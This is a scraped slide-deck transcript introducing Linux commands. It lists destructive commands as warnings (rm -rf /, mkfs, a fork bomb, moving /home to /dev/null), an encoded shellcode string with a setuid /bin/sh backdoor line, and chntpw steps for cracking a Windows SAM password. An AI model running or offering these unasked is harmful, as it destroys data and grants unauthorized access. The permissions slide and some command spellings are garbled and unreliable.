linux command line

Download Linux Command Line

If you can't read please download the document

Upload: prima-yogi-loviniltra

Post on 16-Apr-2017

499 views

Category:

Technology


2 download

TRANSCRIPT

Slide 1

PRIMAYOGILOVINILTRA

NUM

OSS

>>>

BasicLinuxCommandLine

DangerousCommand

1. # rm -rf /

Delete folder root

2. $ mkfs.ext3 /dev/sda

Format Partition

3. $ forkbomb :(){:|:&};:

Instruct the system to execute various processes to

hang. Will usually result in loss of data because the

computer had to be turned off forcibly.

DangerousCommand

4. Command with hexa integer

char esp[] __attribute__ ((section(.text))) /* e.s.p

release */ = \xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68

"\\xff\xff\xff\xff\x8\xdf\xd0\xdf\xd9\x68\x8d\x99

\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7

\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56

\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31

\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69

\x6e\x2f\x73\x68\x00\x2d\x63\x00

cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;;

DangerousCommand

5. /dev

This comand will overwrite the file system

designated device and can eventually cause loss of

data that. Mounting on the folder / dev (folder / dev

commonly used to place a description of hardware

and hard drive)

6. Execute some file shell (.sh)

7. Move home folder to /dev/null mv /home/home directory/* /dev/null

BasicCommand

$ apt-get (install package data)

$ cat(concatenate files and print on the standard output)

$ mv (move)

$ cd(change directory)

$ passwd (change password)

$ ping

$ rm (remove)

BasicCommand

$ cp (copy)

$ reboot

$ history

$ ls (list directory contents)

$ make (compile) | $ ./filename.extension

$ pwd (print current directory) | $ whoami

$ wget (network downloader)

$ mkdir (make directory)

Linux Permission

r (read) = Read 4

w (write) = Write 2

x (exec) = Execute 1

(0) = can't get access

0 can't be accessr 4 read & write (can edited)rw- 6 read & write (can edited)rwx 7 read, write, execute (dijalankan)r-x 5 read, write but can't be editedx 1 only executeChmod

LinuxPermission

# chattr +i filenameUnlock:# chattr i namafileChattr

ChangePasswordWindows

> Install chntp : $ sudo apt-get install chntp> Mount your Windows installed device $ sudo mount /dev/sda1 /media/WINDOWS> Goto your Windows system configuration folder$ cd /media/WINDOWS/WINDOWS/system32/config/Cracking the SAM file : $ chntpw SAM